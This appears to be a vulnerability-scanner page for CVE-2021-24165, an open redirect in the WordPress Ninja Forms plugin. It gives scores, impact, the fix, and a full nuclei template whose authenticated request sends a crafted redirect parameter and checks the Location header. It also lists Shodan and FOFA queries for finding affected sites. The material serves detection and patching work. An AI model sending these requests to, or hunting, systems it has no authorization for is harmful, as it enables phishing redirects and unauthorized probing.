WordPress Ninja Forms <3.4.34 - Open Redirect

mediumseverity

6.1CVSS score

1.6%likelihood of exploitation, next 30 days

77%of all CVEs are less likely

Readycheck to confirm it

WordPress Ninja Forms plugin before 3.4.34 contains an open redirect vulnerability via the wp_ajax_nf_oauth_connect AJAX action, due to the use of a user-supplied redirect parameter and no protection in place. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the installation of malware.

Fix

Update to the latest version of the Ninja Forms plugin (3.4.34 or higher) to fix the open redirect vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin-ajax.php?client_id=1&redirect=https://interact.sh&action=nf_oauth_connect
Positive when: status_code_1 == 302 and status_code_2 == 302 and contains(header_2, 'Location: https://interact.sh?client_id=1')

Run it with nuclei: nuclei -id CVE-2021-24165 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24165

info:
  name: WordPress Ninja Forms <3.4.34 - Open Redirect
  author: dhiyaneshDk,daffainfo
  severity: medium
  description: |
    WordPress Ninja Forms plugin before 3.4.34 contains an open redirect vulnerability via the wp_ajax_nf_oauth_connect AJAX action, due to the use of a user-supplied redirect parameter and no protection in place. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the installation of malware.
  remediation: |
    Update to the latest version of the Ninja Forms plugin (3.4.34 or higher) to fix the open redirect vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6147acf5-e43f-47e6-ab56-c9c8be584818
    - https://www.wordfence.com/blog/2021/02/one-million-sites-affected-four-severe-vulnerabilities-patched-in-ninja-forms/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24165
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24165
    cwe-id: CWE-601
    epss-score: 0.01643
    epss-percentile: 0.76624
    cpe: cpe:2.3:a:ninjaforms:ninja_forms:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: ninjaforms
    product: ninja_forms
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/ninja-forms/
    fofa-query: body=/wp-content/plugins/ninja-forms/
    publicwww-query: /wp-content/plugins/ninja-forms/
  tags: cve2021,cve,wordpress,redirect,wp-plugin,authenticated,wp,wpscan,ninjaforms,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin-ajax.php?client_id=1&redirect=https://interact.sh&action=nf_oauth_connect HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 302'
          - 'status_code_2 == 302'
          - "contains(header_2, 'Location: https://interact.sh?client_id=1')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from